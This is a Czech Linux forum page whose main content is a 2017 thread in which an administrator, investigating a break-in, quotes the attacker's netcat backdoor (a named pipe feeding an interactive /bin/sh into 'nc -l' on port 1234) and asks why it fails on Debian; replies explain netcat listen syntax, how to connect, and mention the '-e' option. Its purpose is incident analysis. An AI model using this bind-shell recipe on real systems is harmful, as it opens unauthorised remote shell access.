abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    dnes 14:22 | IT novinky

    Před 25 lety zaplavil celý svět virus ILOVEYOU. Virus se šířil e-mailem, jenž nesl přílohu s názvem I Love You. Příjemci, zvědavému, kdo se do něj zamiloval, pak program spuštěný otevřením přílohy načetl z adresáře e-mailové adresy a na ně pak „milostný vzkaz“ poslal dál. Škody vznikaly jak zahlcením e-mailových serverů, tak i druhou činností viru, kterou bylo přemazání souborů uložených v napadeném počítači.

    Ladislav Hagara | Komentářů: 0
    včera 22:33 | Nová verze

    Byla vydána nová major verze 5.0.0 svobodného multiplatformního nástroje BleachBit (GitHub, Wikipedie) určeného především k efektivnímu čištění disku od nepotřebných souborů.

    Ladislav Hagara | Komentářů: 2
    2.5. 22:22 | Komunita

    Na čem pracují vývojáři webového prohlížeče Ladybird (GitHub)? Byl publikován přehled vývoje za duben (YouTube).

    Ladislav Hagara | Komentářů: 0
    2.5. 19:11 | IT novinky

    Provozovatel čínské sociální sítě TikTok dostal v Evropské unii pokutu 530 milionů eur (13,2 miliardy Kč) za nedostatky při ochraně osobních údajů. Ve svém oznámení to dnes uvedla irská Komise pro ochranu údajů (DPC), která jedná jménem EU. Zároveň TikToku nařídila, že pokud správu dat neuvede do šesti měsíců do souladu s požadavky, musí přestat posílat data o unijních uživatelích do Číny. TikTok uvedl, že se proti rozhodnutí odvolá.

    Ladislav Hagara | Komentářů: 3
    2.5. 11:22 | Zajímavý projekt

    Společnost JetBrains uvolnila Mellum, tj. svůj velký jazykový model (LLM) pro vývojáře, jako open source. Mellum podporuje programovací jazyky Java, Kotlin, Python, Go, PHP, C, C++, C#, JavaScript, TypeScript, CSS, HTML, Rust a Ruby.

    Ladislav Hagara | Komentářů: 2
    2.5. 09:11 | Bezpečnostní upozornění

    Vývojáři Kali Linuxu upozorňují na nový klíč pro podepisování balíčků. K původnímu klíči ztratili přístup.

    Ladislav Hagara | Komentářů: 2
    1.5. 20:00 | Komunita

    V březnu loňského roku přestal být Redis svobodný. Společnost Redis Labs jej přelicencovala z licence BSD na nesvobodné licence Redis Source Available License (RSALv2) a Server Side Public License (SSPLv1). Hned o pár dní později vznikly svobodné forky Redisu s názvy Valkey a Redict. Dnes bylo oznámeno, že Redis je opět svobodný. S nejnovější verzí 8 je k dispozici také pod licencí AGPLv3.

    Ladislav Hagara | Komentářů: 3
    1.5. 19:22 | IT novinky

    Oficiální ceny Raspberry Pi Compute Modulů 4 klesly o 5 dolarů (4 GB varianty), respektive o 10 dolarů (8 GB varianty).

    Ladislav Hagara | Komentářů: 0
    30.4. 22:33 | Nová verze

    Byla vydána beta verze openSUSE Leap 16. Ve výchozím nastavení s novým instalátorem Agama.

    Ladislav Hagara | Komentářů: 0
    30.4. 17:44 | Zajímavý článek

    Devadesátková hra Brány Skeldalu prošla portací a je dostupná na platformě Steam. Vyšel i parádní blog autora o portaci na moderní systémy a platformy včetně Linuxu.

    karkar | Komentářů: 0
    Jaký filesystém primárně používáte?
     (57%)
     (1%)
     (9%)
     (22%)
     (4%)
     (2%)
     (3%)
     (0%)
     (1%)
     (3%)
    Celkem 516 hlasů
     Komentářů: 19, poslední 30.4. 11:32
    Rozcestník

    Dotaz: netcat a zadní vrátka

    30.3.2017 17:07 Karel Marhoul
    netcat a zadní vrátka
    Přečteno: 469×
    Zdravím,

    nedávno jsem vyšetřoval hackerský průnik na jeden starší linuxový server. Zaujal mě způsob, jakým si útočník pod neprivilegovaným uživatelem otevřel zadní vrátka - shell, na portu 1234:
    rm -f /tmp/f
    mkfifo /tmp/f
    cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
    
    Když jsem však totéž nyní zkoušel na svém Debian Stable serveru, příkaz se chová tak, že netcat otevře náhodný vysoký port (místo portu 1234):
    kmarhoul@debian:~$ netstat  -nlpt
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
    tcp        0      0 0.0.0.0:48705           0.0.0.0:*               LISTEN      12546/nc        
    tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
    tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
    tcp        0      0 0.0.0.0:48886           0.0.0.0:*               LISTEN      -               
    tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
    tcp6       0      0 :::443                  :::*                    LISTEN      -               
    tcp6       0      0 :::43168                :::*                    LISTEN      -               
    tcp6       0      0 :::111                  :::*                    LISTEN      -               
    tcp6       0      0 :::80                   :::*                    LISTEN      -               
    tcp6       0      0 :::22                   :::*                    LISTEN      -               
    tcp6       0      0 ::1:25                  :::*                    LISTEN      -     
    
    A po vzdáleném připojení na tento port výše uvedené havaruje a shell nedostanu:
    kmarhoul@debian:~$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
    invalid connection to [85.255.X.X] from (UNKNOWN) [95.82.X.X] 27619
    
    Zkoušel jsem to ještě na jiném serveru (také Debian Jessie) a stejné chování, přitom na kompromitovaném serveru to prošlo. Nevíte prosím někdo, čím to může být?

    Odpovědi

    pepe_ avatar 30.3.2017 17:41 pepe_ | skóre: 48
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    Není to podle verze  ? netcat-traditional , netcat-openbsd , netcat6 pak v novějších verzích třeba je nutné zadávat parametry -p 1234  místo   bez portu.. něco z toho bude pravda podle mne.
    30.3.2017 20:56 marian34
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    Neodpoviem, ale sa spýtam ako si sa vzdialene pripojil na ten port?
    30.3.2017 21:07 mhepp
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    Prvně předpokládám, že localhost je pouze pro ilustraci příkazu, ne reálná adresa. Potom připojení je jednoduché:

    telnet IP.AD.RE.SA 1234
    30.3.2017 21:56 marian34
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    ok, dík, ale skôr

    netcat host port
    30.3.2017 22:00 marian34
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    U mňa funkčné
    ~$ netcat -h
    OpenBSD netcat (Debian patchlevel 1.89-4ubuntu1)
    This is nc from the netcat-openbsd package. An alternative nc is available
    in the netcat-traditional package.
    30.3.2017 22:52 Michal Kubeček | skóre: 72 | Luštěnice
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    U openbsd netcatu je syntaxe pro listening "netcat -l 1234", ale u některých jiných verzí "netcat -l -p 1234".
    2.4.2017 00:16 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    Jj netcat používá "-l ... -p" pro server a nic pro klienta.
    30.3.2017 22:50 Michal Kubeček | skóre: 72 | Luštěnice
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    To je dost předčasná otázka v okamžiku, kdy má tazatel problém s tím, že mu ani ten listening socket neposlouchá na požadovaném portu.
    2.4.2017 00:18 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: netcat a zadní vrátka
    Teda ale slabý útočník. Mělo by stačit použít přepínač -e (jako execute) :-D.

    Založit nové vláknoNahoru

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.